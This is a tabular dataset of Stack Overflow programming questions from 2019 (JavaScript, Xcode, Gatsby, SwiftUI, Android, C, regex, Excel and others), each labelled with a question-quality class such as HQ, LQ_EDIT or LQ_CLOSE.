Id int64 34.6M 60.5M | Title stringlengths 15 150 | Body stringlengths 33 36.7k | Tags stringlengths 3 112 | CreationDate stringdate 2016-01-01 00:21:59 2020-02-29 17:55:56 | Y stringclasses 3 values |
|---|---|---|---|---|---|
56,435,423 | Removing letters from words in javascript | <p>I want to output words that have deleted duplicates.
For example:</p>
<pre><code>"thisss iss aa senttence" =>
expected output = "this is a sentence"
</code></pre>
| <javascript> | 2019-06-03 22:49:37 | LQ_CLOSE |
56,436,345 | How to upload to App Store from command line with Xcode 11? | <p>Previously, with Xcode 10, we were using <code>altool</code> to upload to App Store:</p>
<pre class="lang-sh prettyprint-override"><code>ALTOOL="/Applications/Xcode.app/Contents/Applications/Application Loader.app/Contents/Frameworks/ITunesSoftwareService.framework/Support/altool"
"$ALTOOL" --upload-app --file "$IPA_PATH" --username "$APP_STORE_USERNAME" --password @keychain:"Application Loader: $APP_STORE_USERNAME"
</code></pre>
<p>But with Xcode 11, "Application Loader.app" doesn't exist anymore, as part of <a href="https://developer.apple.com/documentation/xcode_release_notes/xcode_11_beta_release_notes/" rel="noreferrer">the Xcode 11 changes</a>:</p>
<blockquote>
<p>Xcode supports uploading apps from the Organizer window or from the command line with xcodebuild or xcrun altool. Application Loader is no longer included with Xcode. (29008875)</p>
</blockquote>
<p>So how do we upload from command line to TestFlight or App Store now?</p>
| <ios><xcode><app-store-connect><xcode11> | 2019-06-04 01:38:27 | HQ |
56,437,205 | How do I query multiple images with gatsby-image? | <p>I have 16 images that I want to render out onto a website in a grid format.</p>
<p>I'm using the following plugins for this:</p>
<ul>
<li><code>gatsby-image</code></li>
<li><code>gatsby-source-filesystem</code></li>
<li><code>gatsby-plugin-sharp</code></li>
<li><code>gatsby-transformer-sharp</code></li>
</ul>
<p>I read the documentation and as for as I know, it only demonstrated how to query for one single image.</p>
<p>e.g.</p>
<pre><code>import React from "react"
import { graphql } from "gatsby"
import Img from "gatsby-image"
export default ({ data }) => (
<div>
<h1>Hello gatsby-image</h1>
<Img fixed={data.file.childImageSharp.fixed} />
</div>
)
export const query = graphql`
query {
file(relativePath: { eq: "blog/avatars/kyle-mathews.jpeg" }) {
childImageSharp {
# Specify the image processing specifications right in the query.
# Makes it trivial to update as your page's design changes.
fixed(width: 125, height: 125) {
...GatsbyImageSharpFixed
}
}
}
}
`
</code></pre>
<p>But how would I go about this if I had 16 images? Writing 16 separate queries seem rather cumbersome and would be difficult to read in the future.</p>
<p>I saw this code in the docs referencing multiple images, but I have trouble trying to access the images themselves.</p>
<p>e.g.</p>
<pre><code>export const squareImage = graphql`
fragment squareImage on File {
childImageSharp {
fluid(maxWidth: 200, maxHeight: 200) {
...GatsbyImageSharpFluid
}
}
}
`
export const query = graphql`
query {
image1: file(relativePath: { eq: "images/image1.jpg" }) {
...squareImage
}
image2: file(relativePath: { eq: "images/image2.jpg" }) {
...squareImage
}
image3: file(relativePath: { eq: "images/image3.jpg" }) {
...squareImage
}
}
`
</code></pre>
<p>My folder structure is as follows:</p>
<p>---package.json</p>
<p>---src </p>
<p>------images</p>
<p>---------the 16 images</p>
<p>------pages</p>
<p>---------the page where I want to render the 16 images in</p>
<p>etc.</p>
<p>Thank you.</p>
| <reactjs><gatsby> | 2019-06-04 04:05:36 | HQ |
56,437,335 | Go to a new view using SwiftUI | <p>I've got a basic view with a button using SwiftUI and I'm trying to present a new screen/view when the button is tapped. How do I do this? Am I suppose to create a delegate for this view that will tell the app's <code>SceneDelegate</code> to present a new view controller?</p>
<pre><code>import SwiftUI
struct ContentView : View {
var body: some View {
VStack {
Text("Hello World")
Button(action: {
//go to another view
}) {
Text("Do Something")
.font(.largeTitle)
.fontWeight(.ultraLight)
}
}
}
}
</code></pre>
| <swift><swiftui> | 2019-06-04 04:24:40 | HQ |
56,437,551 | How to create a self-referential Python 3 Enum? | <p>Can I create an enum class <code>RockPaperScissors</code> such that <code>ROCK.value == "rock"</code> and <code>ROCK.beats == SCISSORS</code>, where <code>ROCK</code> and <code>SCISSORS</code> are both constants in <code>RockPaperScissors</code>?</p>
| <python><python-3.6> | 2019-06-04 04:54:55 | HQ |
56,438,354 | Two Digit next dot two digit next dot twodigittwoalphabets using regex in singleline of text field | Hi I need the digit to be displayed as follows
00.11.12aa or 00.12.55 or 11.48.61d
starts with 2 digit and decimal then 2 digit then decimal then twodigit or twodigit one alpha or twodigit two alpha.
I need to validate in single line of text field. Please tell me how to do it. | <regex> | 2019-06-04 06:21:43 | LQ_EDIT |
56,440,090 | Pipenv stuck "⠋ Locking..." | <p>Why is my pipenv stuck in the "Locking..." stage when installing [numpy|opencv|pandas]? </p>
<p>When running <code>pipenv install pandas</code> or <code>pipenv update</code> it hangs for a really long time with a message and loading screen that says it's still locking. Why? What do I need to do?</p>
| <python><pip><pipenv> | 2019-06-04 08:28:11 | HQ |
56,442,198 | Why does my code not return the requested number but always the requested number -1? | The Task is to create a Function.
The function takes two arguments:
current father's age (years)
current age of his son (years)
Сalculate how many years ago the father was twice as old as his son (or in how many years he will be twice as old).
```java
public static int TwiceAsOld(int dadYears, int sonYears){
int dadYearsTemp = dadYears;
int years = 0;
int yearsAgo = 0;
for (int i = 0; i <= dadYears; i++){
if(dadYearsTemp / 2 == sonYears){
years = dadYearsTemp;
yearsAgo = dadYears - years;
System.out.println(yearsAgo);
return yearsAgo;
}
else if (sonYears * 2 > dadYears) {
years = (sonYears * 2) - dadYears;
System.out.println(years);
return years;
}
dadYearsTemp = dadYearsTemp -1;
}
return 42; // The meaning of life
}
```
So for example with an input of (30, 7) i would expect my function to return 16, because 16 Years ago the father was 14 which means he was twice as old as his son now (7). But my function returns 15.
I guess its not a big mistake but i honestly cant find out why it doesnt work, so i would apreciate some help. Thank you. | <java><computation><off-by-one> | 2019-06-04 10:36:51 | LQ_EDIT |
56,443,186 | pgadmin can't log in after update | <p>Just updated pgadmin4 to version 4.8 and now it won't accept ssh tunnel password into server, I get the following error message:</p>
<pre><code>Failed to decrypt the SSH tunnel password. Error: 'utf-8' codec can't decode byte 0x8c in position 0: invalid start byte
</code></pre>
<p>Is there a way around this, I can't restart the database server at this time. </p>
| <postgresql><pgadmin-4> | 2019-06-04 11:42:51 | HQ |
56,443,354 | How to convert String List to String in flutter? | <p>I need to convert List into string in dart.</p>
<p>i want to extract the value of list from preferences. I have tried this implementation but it is only giving me the last value.</p>
<pre><code> Future<List<String>>
services=SharedPrefSignUp.getSelectedServices();
services.then((onValue){
List<String>servicesList=onValue;
selectServicesText=servicesList.join(",");
});
</code></pre>
| <flutter> | 2019-06-04 11:52:47 | HQ |
56,443,599 | Crash with java.lang.NoClassDefFoundError after migrating to AndroidX | <p>I'm trying to compile and run a demo app that was written for an old Android version.</p>
<p>I have updated all the files to use the new androidx libraries. That included the gradle.build the manifest and layout files.
It compiles properly but crashes on the main activity on <code>setContentView(R.layout.activity_main);</code></p>
<p>From looking at the stack trace I can deduce that its related to the layout.xml file as the app crash when it set for the first time.
But I could not find any problem with the layout file after migrating the FloatingActionButton from the old to the new deisgn librarey.</p>
<p>Any ideas?</p>
<p>Stack:</p>
<pre><code>I/zygote: Rejecting re-init on previously-failed class java.lang.Class<androidx.core.view.ViewCompat$2>: java.lang.NoClassDefFoundError: Failed resolution of: Landroid/view/View$OnUnhandledKeyEventListener;
at void androidx.core.view.ViewCompat.setOnApplyWindowInsetsListener(android.view.View, androidx.core.view.OnApplyWindowInsetsListener) (ViewCompat.java:2423)
at android.view.ViewGroup androidx.appcompat.app.AppCompatDelegateImpl.createSubDecor() (AppCompatDelegateImpl.java:750)
at void androidx.appcompat.app.AppCompatDelegateImpl.ensureSubDecor() (AppCompatDelegateImpl.java:630)
at void androidx.appcompat.app.AppCompatDelegateImpl.setContentView(int) (AppCompatDelegateImpl.java:529)
at void androidx.appcompat.app.AppCompatActivity.setContentView(int) (AppCompatActivity.java:161)
at void com.example.android.emojify.MainActivity.onCreate(android.os.Bundle) (MainActivity.java:75)
at void android.app.Activity.performCreate(android.os.Bundle) (Activity.java:6975)
at void android.app.Instrumentation.callActivityOnCreate(android.app.Activity, android.os.Bundle) (Instrumentation.java:1213)
at android.app.Activity android.app.ActivityThread.performLaunchActivity(android.app.ActivityThread$ActivityClientRecord, android.content.Intent) (ActivityThread.java:2770)
at void android.app.ActivityThread.handleLaunchActivity(android.app.ActivityThread$ActivityClientRecord, android.content.Intent, java.lang.String) (ActivityThread.java:2892)
I/zygote: at void android.app.ActivityThread.-wrap11(android.app.ActivityThread, android.app.ActivityThread$ActivityClientRecord, android.content.Intent, java.lang.String) (ActivityThread.java:-1)
at void android.app.ActivityThread$H.handleMessage(android.os.Message) (ActivityThread.java:1593)
I/zygote: at void android.os.Handler.dispatchMessage(android.os.Message) (Handler.java:105)
at void android.os.Looper.loop() (Looper.java:164)
at void android.app.ActivityThread.main(java.lang.String[]) (ActivityThread.java:6541)
at java.lang.Object
</code></pre>
<p>build.gradle:</p>
<pre><code>apply plugin: 'com.android.application'
android {
compileSdkVersion 28
defaultConfig {
applicationId "com.example.android.emojify"
minSdkVersion 26
targetSdkVersion 28
versionCode 1
versionName "1.0"
testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
minifyEnabled false
}
}
}
dependencies {
implementation fileTree(dir: 'libs', include: ['*.jar'])
androidTestImplementation('androidx.test.espresso:espresso-core:3.1.0', {
exclude group: 'com.android.support', module: 'support-annotations'
})
implementation 'com.google.android.material:material:1.1.0-alpha07'
implementation 'androidx.appcompat:appcompat:1.0.2'
implementation 'com.google.android.gms:play-services-vision:17.0.2'
implementation 'com.jakewharton:butterknife:10.1.0'
annotationProcessor 'com.jakewharton:butterknife-compiler:10.1.0'
implementation 'com.jakewharton.timber:timber:4.7.1'
testImplementation 'junit:junit:4.12'
}
</code></pre>
<p>and layout file:</p>
<pre><code><RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/activity_main"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/colorPrimary"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="com.example.android.emojify.MainActivity">
<ImageView
android:id="@+id/image_view"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:layout_margin="@dimen/view_margin"
android:contentDescription="@string/imageview_description"
android:scaleType="fitStart" />
<TextView
android:id="@+id/title_text_view"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_above="@+id/emojify_button"
android:layout_centerHorizontal="true"
android:layout_margin="@dimen/view_margin"
android:text="@string/emojify_me"
android:textAppearance="@style/TextAppearance.AppCompat.Display1" />
<Button
android:id="@+id/emojify_button"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_centerHorizontal="true"
android:layout_centerVertical="true"
android:text="@string/go"
android:textAppearance="@style/TextAppearance.AppCompat.Display1"/>
<com.google.android.material.floatingactionbutton.FloatingActionButton
android:id="@+id/clear_button"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentEnd="true"
android:layout_alignParentRight="true"
android:layout_alignParentTop="true"
android:src="@drawable/ic_clear"
android:visibility="gone"
app:backgroundTint="@android:color/white"
app:fabSize="mini" />
<com.google.android.material.floatingactionbutton.FloatingActionButton
android:id="@+id/save_button"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentBottom="true"
android:layout_alignParentEnd="true"
android:layout_alignParentRight="true"
android:layout_marginBottom="@dimen/fab_margins"
android:layout_marginEnd="@dimen/fab_margins"
android:layout_marginRight="@dimen/fab_margins"
android:src="@drawable/ic_save"
android:visibility="gone"
app:backgroundTint="@android:color/white" />
<com.google.android.material.floatingactionbutton.FloatingActionButton
android:id="@+id/share_button"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentBottom="true"
android:layout_alignParentLeft="true"
android:layout_alignParentStart="true"
android:layout_marginBottom="@dimen/fab_margins"
android:layout_marginLeft="@dimen/fab_margins"
android:layout_marginStart="@dimen/fab_margins"
android:src="@drawable/ic_share"
android:visibility="gone"
app:backgroundTint="@android:color/white" />
</RelativeLayout>
</code></pre>
| <java><android> | 2019-06-04 12:09:11 | HQ |
56,443,791 | How to add luis intent in bot framework locally? | Iam actually developing chatbot using bot framework. i already developed a basic Node echo bot and also basic qna bot. Currently developing luis bot of which i already created an intents on luis.ai! and also on zure and downloaded the source code. Now my instructor said me to develop the luis bot locally but it should take that new intent in local environment,i cannot able to find where to add that intent locally that my bot should respond. | <node.js><botframework><luis> | 2019-06-04 12:21:04 | LQ_EDIT |
56,444,023 | How to tackle different Image dimensions | I am working on a problem where I have to classify image into different groups . I am a beginner and working with Keras with simple sequence model . How should i tackle the problem of images with different dimension in below code e.g. some images have dimension 2101583 while some have 210603 etc . Please suggest .
model.add(Dense(100,input_dim = ?,activation= "sigmoid"))
model.add(Dense(100,input_dim = ?,activation= "sigmoid")) | <python><deep-learning><image-resizing> | 2019-06-04 12:35:51 | LQ_EDIT |
56,446,064 | how can i fix string matrix index problem? | I'm trying to store name and address of persons in the form of 2d array, but when i run my it accepts less values only . For example if i give the array 2 rows and 2 columns , it accepts only 3 values.
I've tried searching on other forums , couldn't get the proper answer.
I also changed the dimension values but it gives wrong result only.
```import java.util.*;
```class findme{
```public static void main(String args[]){
```Scanner scan=new Scanner(System.in);
```System.out.print("enter the number of person: ");
```int per=scan.nextInt();
```System.out.print("enter the number of address: ");
```int addr=scan.nextInt();
```String addrs[][]=new String[per][addr];
```for(int i=0;i<per;i++){
```for(int j=0;j<addr;j++){
```addrs[i][j]=scan.nextLine();
```}
```}
```}
```} | <java><arrays> | 2019-06-04 14:34:50 | LQ_EDIT |
56,447,545 | How to print value in exponential notation? | <p>I have this:</p>
<pre><code>print('bionumbers:',bionumbers)
</code></pre>
<p>which outputs:</p>
<p>bionumbers: 9381343483.4</p>
<p>How can I output this value in exponent notation?</p>
| <python> | 2019-06-04 16:03:38 | LQ_CLOSE |
56,447,748 | Local variable problem in python, variable is not defines | <p>I am working on a project and keep getting variable not defined errors when I run the script. How can I solve this without declaring global variables</p>
<pre><code>def func1():
x = 1
def func2():
y=5
x + y = z
print(z)
</code></pre>
| <python><python-3.x> | 2019-06-04 16:18:49 | LQ_CLOSE |
56,449,474 | JS: How to hide a bootstrap modal so that the input data doesn't persist? | <p>I have a modal I am including in my app and during the the checkout process, I <code>show</code> the modal. If the transaction fails, I hide the modal using <code>$('#my-modal').modal('hide')</code> but my issue is that when the user goes to enter the checkout process again and it shows the modal, it still has the data that was there before. Is it possible to destroy the instance so that the data doesn't persist that?</p>
| <javascript><twitter-bootstrap><allow-modals> | 2019-06-04 18:31:28 | LQ_CLOSE |
56,450,006 | The declared package "" does not match the expected package "jdbc" |
import java.sql.*; //The declared package "" does not match the expected package "jdbc"
class Oraclecon{
public static void main(String args[]){
try{
//step1 load the driver class
Class.forName("oracle.jdbc.driver.OracleDriver");
//step2 create the connection object
Connection con=DriverManager.getConnection(
"jdbc:oracle:thin:@localhost:1521:xe","system","system");
//step3 create the statement object
Statement stmt=con.createStatement();
//step4 execute query
ResultSet rs=stmt.executeQuery("select * from JNTURESULTS");
while(rs.next())
System.out.println(rs.getInt(1)+" "+rs.getString(2)+" "+rs.getString(3));
//step5 close the connection object
con.close();
}
catch(Exception e){ System.out.println(e);}
}
} | <java><oracle><jdbc> | 2019-06-04 19:14:19 | LQ_EDIT |
56,450,868 | How to get self name | <p>Let's say i want to create connected system of toggling a textbox by radio button. So each radio manage visibility of textbox.</p>
<pre><code><RadioButton GroupName="Type" Content="First" Name="First" IsChecked="False" />
<TextBox Name="First" Visibility="FirstBox"/>
<RadioButton GroupName="Type" Content="Second" Name="Second" IsChecked="False" />
<TextBox Name="Second" Visibility="Secondbox"/>
</code></pre>
<p>Okay, as you can expect if you check First radio button FirstBox should be visible but after checking Second radio, FirstBox is gone and SecondBox is now visible.
But i don't how to implement it simply. Is possible to use only xaml without code-behind?</p>
| <c#><wpf><xaml> | 2019-06-04 20:24:21 | LQ_CLOSE |
56,451,255 | Program to find whether an edge exists between two given vertices of a graph | I wrote the following code in C to find whether there exists an edge between two given vertices of a graph.Initially I ask user for inputs and then check whether there is a edge between two vertices using a BFS approach(queue).
This code is working fine for some testcases but throwing a segmentation fault in few. please tell me where Iam going wrong
#include <stdio.h>
#include <stdlib.h>
int main()
{
int v,e,e1,e2,t1,t2;
printf("Enter num of vertices and edges: ");
scanf("%d %d",&v,&e);
int maze[v][v];
for(int i=0;i<v;i++)
for(int j=0;j<v;j++)
maze[i][j]=0;
printf("Enter edges:\n")
for(int i=0;i<e;i++)
{
scanf("%d %d",&e1,&e2);
maze[e1-1][e2-1]=1;
maze[e2-1][e1-1]=1;
}
printf("The maze looks like:\n");
for(int i=0;i<v;i++)
{
for(int j=0;j<v;j++)
{
printf("%d ",maze[i][j]);
}
printf("\n");
}
printf("enter target edges: ");
scanf("%d %d",&t1,&t2);
//BFS starts from here.
int queue[v*v];
int k = 1;
queue[0] = t1-1;
for(int i=0;i<v;i++)
if(maze[t1-1][i]==1)
{
queue[k] = i;
k++;
}
int bp,ep;
bp = 0;
ep = k;
while(bp<=ep)
{
if(queue[bp]+1==t2)
{
printf("\nroute exists\n");
exit(0);
}
else
{
for(int i=0;i<v;i++)
if(maze[queue[bp+1]][i]==1)
{
queue[k] = i;
k++;
}
}
bp=bp+1;
ep=k;
}
printf("\nroute does'nt exist\n");
}
Testcases for which this code is working:
Testcase-1:
4 2
1 2
3 2
1 3
Testcase-2:
4 2
1 2
3 2
1 4
TestCase-3:
7 6
0 1
0 2
1 3
1 4
1 6
5 6
1 6
Testcases for which Iam getting a segmentation fault:
TestCase-4:
7 6
0 1
0 2
1 3
1 4
1 6
5 6
0 6
TestCase-5:
7 6
0 1
0 2
1 3
1 4
1 6
5 6
2 4 | <c><algorithm><graph><segmentation-fault><breadth-first-search> | 2019-06-04 20:57:05 | LQ_EDIT |
56,452,193 | Need advice on how to optimize my regex code | I am trying to create a custom field in Google Data Studio using RegEx to basically create a filter based on Page URL. While I'm not getting an error message in GDS, the filed is not functioning.
CASE
WHEN REGEXP_MATCH(Page, "(/bachelor-applied-science-health-sciences/|/bachelor-international-public-health/|/bachelor-science-health-education-and-health-promotion/|/bachelor-science-health-sciences-healthy-lifestyles-coaching/|/bachelor-science-nutrition/|/speech-and-hearing-science-bs/|/doctor-behavioral-health-clinical/|/doctor-behavioral-health-management/|/integrated-behavioral-health-clinical-grad-certificate/|/integrated-behavioral-health-management-grad-certificate/|/master-advanced-study-health-informatics/|/international-health-management-mihm/|/graduate/master-science-biomedical-diagnostics/|/graduate/medical-nutrition-ms/|/master-science-nutrition-dietetics/|/master-science-science-health-care-delivery/|/graduate-certificate-science-health-care-delivery/)") THEN "College of Health Solutions"
ELSE "Other"
END | <regex><google-data-studio> | 2019-06-04 22:38:08 | LQ_EDIT |
56,453,519 | Can't we do node creation using pointer to object in C++? | I was solving this problem on Linked List on hacker rank : https://www.hackerrank.com/challenges/insert-a-node-at-the-head-of-a-linked-list/
And got correct answer for the given code . Most of the code was prewritten ; I only had to complete the function insertNodeAtHead function (enclosed between the three stars) :
#include <bits/stdc++.h>
using namespace std;
class SinglyLinkedListNode {
public:
int data;
SinglyLinkedListNode *next;
SinglyLinkedListNode(int node_data) {
this->data = node_data;
this->next = nullptr;
}
};
class SinglyLinkedList {
public:
SinglyLinkedListNode *head;
SinglyLinkedListNode *tail;
SinglyLinkedList() {
this->head = nullptr;
this->tail = nullptr;
}
};
void print_singly_linked_list(SinglyLinkedListNode* node, string sep, ofstream& fout) {
while (node) {
fout << node->data;
node = node->next;
if (node) {
fout << sep;
}
}
}
void free_singly_linked_list(SinglyLinkedListNode* node) {
while (node) {
SinglyLinkedListNode* temp = node;
node = node->next;
free(temp);
}
}
// Complete the insertNodeAtHead function below.
/*
* For your reference:
*
* SinglyLinkedListNode {
* int data;
* SinglyLinkedListNode* next;
* };
*
*/
***SinglyLinkedListNode* insertNodeAtHead(SinglyLinkedListNode* llist, int data) {
SinglyLinkedListNode *nnode;
nnode = new SinglyLinkedListNode(data);
if(llist !=NULL)
nnode->next=llist;
return llist=nnode;
}***
int main()
{
ofstream fout(getenv("OUTPUT_PATH"));
SinglyLinkedList* llist = new SinglyLinkedList();
int llist_count;
cin >> llist_count;
cin.ignore(numeric_limits<streamsize>::max(), '\n');
for (int i = 0; i < llist_count; i++) {
int llist_item;
cin >> llist_item;
cin.ignore(numeric_limits<streamsize>::max(), '\n');
SinglyLinkedListNode* llist_head = insertNodeAtHead(llist->head, llist_item);
llist->head = llist_head;
}
print_singly_linked_list(llist->head, "\n", fout);
fout << "\n";
free_singly_linked_list(llist->head);
fout.close();
return 0;
}
I had to complete the insertNodeAtHead() function only . Rest all was already there. But when I tried to do it without using pointer nnode object( my identifier) of SinglyLinkedListNode class type(their predefined class) I get compilation error:
#include <bits/stdc++.h>
using namespace std;
class SinglyLinkedListNode {
public:
int data;
SinglyLinkedListNode * next;
SinglyLinkedListNode(int node_data) {
this - > data = node_data;
this - > next = nullptr;
}
};
class SinglyLinkedList {
public:
SinglyLinkedListNode * head;
SinglyLinkedListNode * tail;
SinglyLinkedList() {
this - > head = nullptr;
this - > tail = nullptr;
}
};
void print_singly_linked_list(SinglyLinkedListNode * node, string sep, ofstream & fout) {
while (node) {
fout << node - > data;
node = node - > next;
if (node) {
fout << sep;
}
}
}
void free_singly_linked_list(SinglyLinkedListNode * node) {
while (node) {
SinglyLinkedListNode * temp = node;
node = node - > next;
free(temp);
}
}
// Complete the insertNodeAtHead function below.
/*
* For your reference:
*
* SinglyLinkedListNode {
* int data;
* SinglyLinkedListNode* next;
* };
*
*/
***SinglyLinkedListNode * insertNodeAtHead(SinglyLinkedListNode * llist, int data) {
SinglyLinkedListNode nnode;
nnode = new SinglyLinkedListNode(data);
if (llist != NULL)
nnode.next = llist;
return llist = & nnode;
}***
int main() {
ofstream fout(getenv("OUTPUT_PATH"));
SinglyLinkedList * llist = new SinglyLinkedList();
int llist_count;
cin >> llist_count;
cin.ignore(numeric_limits < streamsize > ::max(), '\n');
for (int i = 0; i < llist_count; i++) {
int llist_item;
cin >> llist_item;
cin.ignore(numeric_limits < streamsize > ::max(), '\n');
SinglyLinkedListNode * llist_head = insertNodeAtHead(llist - > head, llist_item);
llist - > head = llist_head;
}
print_singly_linked_list(llist - > head, "\n", fout);
fout << "\n";
free_singly_linked_list(llist - > head);
fout.close();
return 0;
}
**ERROR AFTER COMPILATION:**
solution.cc: In function ‘SinglyLinkedListNode* insertNodeAtHead(SinglyLinkedListNode*, int)’:
solution.cc:63:24: error: no matching function for call to ‘SinglyLinkedListNode::SinglyLinkedListNode()’
SinglyLinkedListNode nnode;
^~~~~
solution.cc:10:9: note: candidate: ‘SinglyLinkedListNode::SinglyLinkedListNode(int)’
SinglyLinkedListNode(int node_data) {
^~~~~~~~~~~~~~~~~~~~
solution.cc:10:9: note: candidate expects 1 argument, 0 provided
solution.cc:5:7: note: candidate: ‘constexpr SinglyLinkedListNode::SinglyLinkedListNode(const SinglyLinkedListNode&)’
class SinglyLinkedListNode {
^~~~~~~~~~~~~~~~~~~~
solution.cc:5:7: note: candidate expects 1 argument, 0 provided
solution.cc:5:7: note: candidate: ‘constexpr SinglyLinkedListNode::SinglyLinkedListNode(SinglyLinkedListNode&&)’
solution.cc:5:7: note: candidate expects 1 argument, 0 provided
solution.cc:64:40: error: ambiguous overload for ‘operator=’ (operand types are ‘SinglyLinkedListNode’ and ‘SinglyLinkedListNode*’)
nnode = new SinglyLinkedListNode(data);
^
solution.cc:5:7: note: candidate: ‘SinglyLinkedListNode& SinglyLinkedListNode::operator=(const SinglyLinkedListNode&)’ <near match>
class SinglyLinkedListNode {
^~~~~~~~~~~~~~~~~~~~
solution.cc:5:7: note: conversion of argument 1 would be ill-formed:
solution.cc:64:11: error: invalid user-defined conversion from ‘SinglyLinkedListNode*’ to ‘const SinglyLinkedListNode&’ [-fpermissive]
nnode = new SinglyLinkedListNode(data);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
solution.cc:10:9: note: candidate is: ‘SinglyLinkedListNode::SinglyLinkedListNode(int)’ <near match>
SinglyLinkedListNode(int node_data) {
^~~~~~~~~~~~~~~~~~~~
solution.cc:10:9: note: conversion of argument 1 would be ill-formed:
solution.cc:64:11: error: invalid conversion from ‘SinglyLinkedListNode*’ to ‘int’ [-fpermissive]
nnode = new SinglyLinkedListNode(data);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
solution.cc:64:11: error: invalid conversion from ‘SinglyLinkedListNode*’ to ‘int’ [-fpermissive]
solution.cc:10:34: note: initializing argument 1 of ‘SinglyLinkedListNode::SinglyLinkedListNode(int)’
SinglyLinkedListNode(int node_data) {
~~~~^~~~~~~~~
solution.cc:5:7: note: candidate: ‘SinglyLinkedListNode& SinglyLinkedListNode::operator=(SinglyLinkedListNode&&)’ <near match>
class SinglyLinkedListNode {
^~~~~~~~~~~~~~~~~~~~
solution.cc:5:7: note: conversion of argument 1 would be ill-formed:
solution.cc:64:11: error: invalid user-defined conversion from ‘SinglyLinkedListNode*’ to ‘SinglyLinkedListNode&&’ [-fpermissive]
nnode = new SinglyLinkedListNode(data);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
solution.cc:10:9: note: candidate is: ‘SinglyLinkedListNode::SinglyLinkedListNode(int)’ <near match>
SinglyLinkedListNode(int node_data) {
^~~~~~~~~~~~~~~~~~~~
solution.cc:10:9: note: conversion of argument 1 would be ill-formed:
solution.cc:64:11: error: invalid conversion from ‘SinglyLinkedListNode*’ to ‘int’ [-fpermissive]
nnode = new SinglyLinkedListNode(data);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
solution.cc:64:11: error: invalid conversion from ‘SinglyLinkedListNode*’ to ‘int’ [-fpermissive]
solution.cc:10:34: note: initializing argument 1 of ‘SinglyLinkedListNode::SinglyLinkedListNode(int)’
SinglyLinkedListNode(int node_data) {
~~~~^~~~~~~~~
solution.cc:64:40: error: conversion to non-const reference type ‘class SinglyLinkedListNode&&’ from rvalue of type ‘SinglyLinkedListNode’ [-fpermissive]
nnode = new SinglyLinkedListNode(data);
Exit Status 255
***I firmly believed that it should have worked but it didn't happen so. Since the logic was same , the only difference was I used pointer to create the object.***
Since I am new to C++ I am unable to figure out why is this happening. Please give an insight.
| <c++><data-structures><linked-list> | 2019-06-05 02:22:34 | LQ_EDIT |
56,454,151 | How to wait Func<T>().invoike in C# | I have a method to show loading form with parameter Func<T> and in that method I use func.Invoke(); this.Close();
but in this cast this.Close(); not waiting for func.Invoke to finish.
Help me please. :)
private void ShowLoading<T>(Func<T> func)
{
func.Invoke();
this.Close();
} | <c#><func> | 2019-06-05 04:09:40 | LQ_EDIT |
56,454,258 | Why my spinner in android studio doesn't display anything even though i have followed some tutorial? | I'm working a project, and i want to use spinner in it. Firstly, i try some tutorial on youtube and my code successfully to compile, but the problem is my spinner doesn't show any text. Then, i try another tutorial and find solution for my problem from any resource. But, it still not working.
Then i try to make new project that only contains spinner with the same code, it's working perfectly. I don't know why this is happen.
The different between my project and the new project is, my project have navigation drawer. I don't know, but maybe this is related.
sorry for my bad english
this is my xml code for spinner
```xml
<Spinner
android:id="@+id/spinner"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="50dp"
android:layout_marginLeft="20dp"
android:layout_marginRight="20dp"/>
```
and this is for my java
```java
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.fragment_home);
Spinner spinner = (Spinner) findViewById(R.id.spinner);
List<String> categories = new ArrayList<>();
categories.add(0, "Choose Station");
categories.add("Station A (Asrama Mahanaim)");
categories.add("Station B (Asrama Mamre)");
categories.add("Station C (Asrama Nazareth)");
categories.add("Station D (Kantin Lama)");
categories.add("Station E (Studio)");
categories.add("Station F (GD 8)");
categories.add("Station G (GD 9)");
ArrayAdapter<String> adapter;
adapter = new ArrayAdapter(this, android.R.layout.simple_spinner_item);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
spinner.setAdapter(adapter);
spinner.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
@Override
public void onItemSelected(AdapterView<?> adapterView, View view, int i, long l) {
if (adapterView.getItemAtPosition(i).equals("Choose Station")) {
//do nothing
} else {
String item = adapterView.getItemAtPosition(i).toString();
Toast.makeText(adapterView.getContext(), "Selected : " + item, Toast.LENGTH_SHORT).show();
}
}
@Override
public void onNothingSelected(AdapterView<?> adapterView) {
//TODO auto-generated method stub
}
});
}
```
this is the output when compiled
[enter image description here][1]
[1]: https://i.stack.imgur.com/r8kfM.jpg | <android><android-spinner> | 2019-06-05 04:28:08 | LQ_EDIT |
56,454,934 | excell reference repitition at regular intervals; | '''
I have two excel sheets(1,2) in a single file, I want the data in sheet 2 is as follows a1(1) a2(2) a3(3) I want to reference this data in sheet1 as follows A2=sheet2!A1, A5=sheet2!A2 , A8=sheet2!A3 and so on, how do I achieve this?
tried entering the sequence 4 times and dragging the formula untill the end. instead of maintaining the sequence, this is what happens;
entered by me;
'''
A2=sheet2!A1 A5=sheet2!A2 A8=sheet2!A3
"on dragging excel automatically enters;"
A11=sheet2!A10 A14=sheet2!A11 A17=sheet2!A12 A20=sheet2!A19 A23=sheet2!A20 A26=sheet2!A21
what i want;
i enter;
A2=sheet2!A1 A5=sheet2!A2 A8=sheet2!A3
excel automatically enters these formulas ;
